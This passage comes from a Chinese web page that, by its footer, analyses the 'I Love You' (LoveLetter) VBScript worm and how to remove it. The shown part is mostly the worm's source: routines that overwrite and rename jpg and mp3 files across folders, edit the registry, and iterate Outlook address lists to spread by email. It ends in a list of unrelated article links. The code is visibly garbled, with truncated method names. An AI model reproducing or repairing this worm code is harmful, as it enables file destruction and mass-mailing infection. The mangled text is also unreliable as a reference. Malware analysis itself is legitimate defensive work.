2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;"> "moved " & & " to " & & ".infected" </p><p style="text-indent: 2em;font-size:18px;">ine "moved " & & " to " & & ".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;">elseif(ext="jpg") or (ext="jpeg") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(,1) </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;"> "moved",,"to",&".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;">elseif(ext="mp3") or (ext="mp2") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(,1) </p><p style="text-indent: 2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> "moved",,"to",&".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">if (eq<>folderspec) then </p><p style="text-indent: 2em;font-size:18px;">if (s="") or (s="") or (s="") or </p><p style="text-indent: 2em;font-size:18px;">(s="") or </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">(s="") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(folderspec&"") </p><p style="text-indent: 2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> "moved "&folderspec&" </p><p style="text-indent: 2em;font-size:18px;">to",folderspec&""&".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">eq=folderspec </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub folderlist(folderspec) </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim f,f1,sf,tf </p><p style="text-indent: 2em;font-size:18px;">If Len(folderspec) > 55 Then </p><p style="text-indent: 2em;font-size:18px;">tf = "..." & Right(folderspec,55) </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">Else </p><p style="text-indent: 2em;font-size:18px;">tf = folderspec </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;"> " scanning folder " & tf </p><p style="text-indent: 2em;font-size:18px;">ine " scanning folder " & tf </p><p style="text-indent: 2em;font-size:18px;">set f = der(folderspec) </p><p style="text-indent: 2em;font-size:18px;">set sf = ders </p><p style="text-indent: 2em;font-size:18px;">for each f1 in sf </p><p style="text-indent: 2em;font-size:18px;">infectfiles() </p><p style="text-indent: 2em;font-size:18px;">folderlist() </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub regdelete(regkey) </p><p style="text-indent: 2em;font-size:18px;">Set regedit = CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">ete regkey </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub regwrite(regkey,regvalue) </p><p style="text-indent: 2em;font-size:18px;">Set regedit = CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">te regkey,regvalue </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">function regget(value) </p><p style="text-indent: 2em;font-size:18px;">Set regedit = CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">regget=d(value) </p><p style="text-indent: 2em;font-size:18px;">end function </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">function fileexist(filespec) </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim msg </p><p style="text-indent: 2em;font-size:18px;">if (ists(filespec)) Then </p><p style="text-indent: 2em;font-size:18px;">msg = 0 </p><p style="text-indent: 2em;font-size:18px;">else </p><p style="text-indent: 2em;font-size:18px;">msg = 1 </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">fileexist = msg </p><p style="text-indent: 2em;font-size:18px;">end function </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">function folderexist(folderspec) </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim msg </p><p style="text-indent: 2em;font-size:18px;">if (derExists(folderspec)) then </p><p style="text-indent: 2em;font-size:18px;">msg = 0 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">else </p><p style="text-indent: 2em;font-size:18px;">msg = 1 </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">fileexist = msg </p><p style="text-indent: 2em;font-size:18px;">end function </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub spreadtoemail() </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad </p><p style="text-indent: 2em;font-size:18px;">set regedit=CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">set out=Object("ation") </p><p style="text-indent: 2em;font-size:18px;">set mapi=eSpace("MAPI") </p><p style="text-indent: 2em;font-size:18px;">for ctrlists=1 to </p><p style="text-indent: 2em;font-size:18px;">set a=sLists(ctrlists) </p><p style="text-indent: 2em;font-size:18px;">x=1 </p><p style="text-indent: 2em;font-size:18px;">regv=d("HKEY_CURRENT_USERSoftwareMicrosoftWAB</p><p style="text-indent: 2em;font-size:18px;">"&a) </p><p style="text-indent: 2em;font-size:18px;">if (regv="") then </p><p style="text-indent: 2em;font-size:18px;">regv=1 </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">if (int()>int(regv)) then </p><p style="text-indent: 2em;font-size:18px;">for ctrentries=1 to </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">malead=sEntries(x) </p><p style="text-indent: 2em;font-size:18px;">regad="" </p><p style="text-indent: 2em;font-size:18px;">regdelete "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead </p><p style="text-indent: 2em;font-size:18px;">x=x+1 </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">te </p><p style="text-indent: 2em;font-size:18px;">"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,sEntries.</p><p style="text-indent: 2em;font-size:18px;">Count </p><p style="text-indent: 2em;font-size:18px;">else </p><p style="text-indent: 2em;font-size:18px;">te </p><p style="text-indent: 2em;font-size:18px;">"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,sEntries.</p><p style="text-indent: 2em;font-size:18px;">Count </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">regdelete "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">Set out=Nothing </p><p style="text-indent: 2em;font-size:18px;">Set mapi=Nothing </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub html </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">set fso=CreateObject("stemObject") </p><p style="text-indent: 2em;font-size:18px;">set b=e(dirsystem+"") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;">-- </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> </p></div><br><p><h2></h2></p> <!-- 附件 --> <p class="tag"> 本文标签: <a style="margin-right: 10px" href="/tag/189.html" target="_blank">病毒</a> <a style="margin-right: 10px" href="/tag/175.html" target="_blank">文件</a> <a style="margin-right: 10px" href="/tag/186.html" target="_blank">程序</a> <a style="margin-right: 10px" href="/tag/223.html" target="_blank">大家</a> <a style="margin-right: 10px" href="/tag/371.html" target="_blank">没有</a> </p> <div class="roclinux-cn copyright"> <blockquote> <p> 版权声明:本文标题:“爱虫(I_Loveyou)”病毒代码解析和杀毒方法 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:<a href="http://www.roclinux.cn/p/1715901859a689949.html">http://www.roclinux.cn/p/1715901859a689949.html</a>, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。 </p> </blockquote> </div> </div> <div class="roclinux-cn block-wrap single-relative"> <h2 class="block-title"> 更多相关文章 </h2> <div class="roclinux-cn post-list"> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774290972a3570039.html" title="来看看这些电脑清理内存的方法_如何清理电脑垃圾 csdn">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="来看看这些电脑清理内存的方法_如何清理电脑垃圾 csdn">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774290972a3570039.html" class="post-item-title" title="来看看这些电脑清理内存的方法_如何清理电脑垃圾 csdn"> <h3>来看看这些电脑清理内存的方法_如何清理电脑垃圾 csdn</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">随着电脑使用时间的增加,你有没有发现电脑用得越多反应越慢?如果你遇到这个问题,可以试试这几个优化设置,让你的电脑速度起死回生!方法一:删除临时文件 按键盘上的Win R,在对话框中输入【%temp%】-【确定】,弹</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774291049a3570040.html" title="电脑垃圾清理的常用方法 系统垃圾清理并不难 这个方法电脑小白也能清理_系统自带清理电脑垃圾">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="电脑垃圾清理的常用方法 系统垃圾清理并不难 这个方法电脑小白也能清理_系统自带清理电脑垃圾">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774291049a3570040.html" class="post-item-title" title="电脑垃圾清理的常用方法 系统垃圾清理并不难 这个方法电脑小白也能清理_系统自带清理电脑垃圾"> <h3>电脑垃圾清理的常用方法 系统垃圾清理并不难 这个方法电脑小白也能清理_系统自带清理电脑垃圾</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">随着电脑使用频率增加,各类 “数字垃圾” 正悄然占据磁盘空间,成为设备卡顿、运行变慢的核心诱因之一。这些垃圾并非传统意义上的废弃文件,而是系统与软件在运行中自然产生的冗余数据,比如浏览网页时缓存的图片视频、软件安装与更新留下的残留文件</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774302432a3570170.html" title="R3nzSkin常见问题解答:解决注入失败、游戏崩溃等10大痛点">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="R3nzSkin常见问题解答:解决注入失败、游戏崩溃等10大痛点">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774302432a3570170.html" class="post-item-title" title="R3nzSkin常见问题解答:解决注入失败、游戏崩溃等10大痛点"> <h3>R3nzSkin常见问题解答:解决注入失败、游戏崩溃等10大痛点</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">R3nzSkin常见问题解答:解决注入失败、游戏崩溃等10大痛点 R3nzSkin作为一款热门的《英雄联盟》皮肤修改工具,帮助玩家自定义游戏体验。但在使用过程中,许多用户会遇到注入失败、游戏崩溃等问题。本文汇总了10个最常见的</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774310770a3570265.html" title="为什么打不开网页 ……技术_为什么有网络打不开网页">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="为什么打不开网页 ……技术_为什么有网络打不开网页">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774310770a3570265.html" class="post-item-title" title="为什么打不开网页 ……技术_为什么有网络打不开网页"> <h3>为什么打不开网页 ……技术_为什么有网络打不开网页</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">1、可以在“运行”中执行ipconfig flushdns来重建本地DNS缓存。2、重装IE或重装网卡驱动。3、HOSTS文件被修改,也会导致浏览的不正常,解决方法当然是清空HOSTS文件里的内容。</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774320613a3570374.html" title="VMware还原Windows11 ghost镜像_vmware ghost">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="VMware还原Windows11 ghost镜像_vmware ghost">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774320613a3570374.html" class="post-item-title" title="VMware还原Windows11 ghost镜像_vmware ghost"> <h3>VMware还原Windows11 ghost镜像_vmware ghost</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">环境Windows 11 家庭中文版 VMware Workstation 17 Pro 石大师装机大师 Windows 11 ghost系统镜像步骤 准备</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774320765a3570376.html" title="Ghost11简体中文版:全面应用指南与技巧">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Ghost11简体中文版:全面应用指南与技巧">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774320765a3570376.html" class="post-item-title" title="Ghost11简体中文版:全面应用指南与技巧"> <h3>Ghost11简体中文版:全面应用指南与技巧</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">简介:Ghost11作为Symantec公司开发的著名系统备份与恢复软件,引入简体中文界面,极大提升了国内用户的使用便捷性。本指南深入解析了Ghost11的核心功能,包括全盘克隆、分区克隆、映像文件创建与还原、自动备份计划和网络克隆等</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774326098a3570440.html" title="斑马打印机设置成网络打印机步骤_斑马打印机怎么做网络共享">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="斑马打印机设置成网络打印机步骤_斑马打印机怎么做网络共享">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774326098a3570440.html" class="post-item-title" title="斑马打印机设置成网络打印机步骤_斑马打印机怎么做网络共享"> <h3>斑马打印机设置成网络打印机步骤_斑马打印机怎么做网络共享</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">1.正常连接打印机后,下载“斑马机器改IP地址”文件。 2.用记事本打开文件修改要设置的IP地址,网关及子网掩码,如下图所示。 3. 右击打印机驱动,选择打印首选项-工具-发送文件,然后浏览到此ZPL文件,</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774342818a3570636.html" title="将DVD中的VOB文件无损转换为MP4等常用视频格式的方法_dvd转mp4">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="将DVD中的VOB文件无损转换为MP4等常用视频格式的方法_dvd转mp4">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774342818a3570636.html" class="post-item-title" title="将DVD中的VOB文件无损转换为MP4等常用视频格式的方法_dvd转mp4"> <h3>将DVD中的VOB文件无损转换为MP4等常用视频格式的方法_dvd转mp4</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">建议先看疑问解答,否则可能会出现棘手的问题。 一、DVD和VCD等光碟播放设备①光盘播放机,例如先锋②带有光驱的笔记本或台式电脑,现在基本已被淘汰③外置光驱:可通过USB数据线(设备自</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774343276a3570642.html" title="[翻译]VOB的移动(不同域名)_cleartool register -vob -ucmproject">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="[翻译]VOB的移动(不同域名)_cleartool register -vob -ucmproject">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774343276a3570642.html" class="post-item-title" title="[翻译]VOB的移动(不同域名)_cleartool register -vob -ucmproject"> <h3>[翻译]VOB的移动(不同域名)_cleartool register -vob -ucmproject</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">环境描述:为了更好的说明问题,我们假想了一个虚拟的环境: Server1 : 计算机名: From域名: OLD操作系统: WI</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774372352a3570977.html" title="解读Autorun.inf病毒和autorun.inf_光盘里有autorun exe">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="解读Autorun.inf病毒和autorun.inf_光盘里有autorun exe">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774372352a3570977.html" class="post-item-title" title="解读Autorun.inf病毒和autorun.inf_光盘里有autorun exe"> <h3>解读Autorun.inf病毒和autorun.inf_光盘里有autorun exe</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">这几天我的机子病毒大暴发,其中有一种病毒就是关于autorun.inf的。和它一起运行的是sxs.exe文件。它在每个驱动盘下都有这两个文件,并且文件夹选项里显示所有隐藏文件和文件夹选中后又会被改回去,很苦恼啊!于是上网查了一些这方面</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774468982a3571516.html" title="笔记本Windows10下的函数问题?这篇文章让你彻底告别困扰!">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="笔记本Windows10下的函数问题?这篇文章让你彻底告别困扰!">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774468982a3571516.html" class="post-item-title" title="笔记本Windows10下的函数问题?这篇文章让你彻底告别困扰!"> <h3>笔记本Windows10下的函数问题?这篇文章让你彻底告别困扰!</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">笔记本Windows10函数不正确?这里有解决方法在Windows10操作系统的使用过程中,许多笔记本电脑用户可能会遇到“函数不正确”的错误提示,这不仅影响了用户的正常使用,还可能导致一些关键功能无法正常运行。面对这种情</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774483725a3571686.html" title="遇到wpcap.dll问题?解决攻略与预防小妙招,一步到位">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="遇到wpcap.dll问题?解决攻略与预防小妙招,一步到位">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774483725a3571686.html" class="post-item-title" title="遇到wpcap.dll问题?解决攻略与预防小妙招,一步到位"> <h3>遇到wpcap.dll问题?解决攻略与预防小妙招,一步到位</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">在使用计算机的过程中,有时会遇到系统提示丢失wpcap.dll文件的情况。这种情况可能会导致某些依赖于该DLL(动态链接库)的程序无法正常运行。那么,当您遭遇这种问题时,应该如何应对呢?本文将详细介绍几种有效的解决方案,并提供一些预防</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774483876a3571688.html" title="WPCAP.dll不见了?别担心,这里有轻松解决办法!">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="WPCAP.dll不见了?别担心,这里有轻松解决办法!">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774483876a3571688.html" class="post-item-title" title="WPCAP.dll不见了?别担心,这里有轻松解决办法!"> <h3>WPCAP.dll不见了?别担心,这里有轻松解决办法!</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">在计算机使用过程中,不少用户可能会遇到wpcap.dll文件丢失的问题,这通常会导致依赖于该文件的应用程序无法正常运行,如Wireshark网络封包分析器等。wpcap.dll是WinPcap套件的一部分,该套件为Windows操作系</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774484027a3571690.html" title="Win7系统下的wpcap.dll找不到了?快速修复方法分享">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Win7系统下的wpcap.dll找不到了?快速修复方法分享">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774484027a3571690.html" class="post-item-title" title="Win7系统下的wpcap.dll找不到了?快速修复方法分享"> <h3>Win7系统下的wpcap.dll找不到了?快速修复方法分享</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">wpcap.dll作为WinPcap组件之一,在Windows 7 32位系统中扮演着核心角色,专门用于实现网络数据包的捕获功能。该动态链接库的缺失,可能会直接影响到系统中网络监控及分析软件的正常运作,进而妨碍到网络安全监控与系统性能</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774484483a3571696.html" title="狂怒2启动失败?WPCAP.DLL错误?一步步轻松搞定!">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="狂怒2启动失败?WPCAP.DLL错误?一步步轻松搞定!">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774484483a3571696.html" class="post-item-title" title="狂怒2启动失败?WPCAP.DLL错误?一步步轻松搞定!"> <h3>狂怒2启动失败?WPCAP.DLL错误?一步步轻松搞定!</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">遇到《狂怒2》(Rage 2)游戏提示“wpcap.dll”文件丢失的问题,意味着您的系统中可能缺少或损坏了用于网络抓包和监控的WinPcap或其替代品Npcap的动态链接库文件。以下是解决此问题的步骤: 1. 安装或重新安装</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774485013a3571703.html" title="Win7系统wpcap.dll丢失?轻松几步,帮你快速找到解决之道!">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Win7系统wpcap.dll丢失?轻松几步,帮你快速找到解决之道!">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774485013a3571703.html" class="post-item-title" title="Win7系统wpcap.dll丢失?轻松几步,帮你快速找到解决之道!"> <h3>Win7系统wpcap.dll丢失?轻松几步,帮你快速找到解决之道!</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p 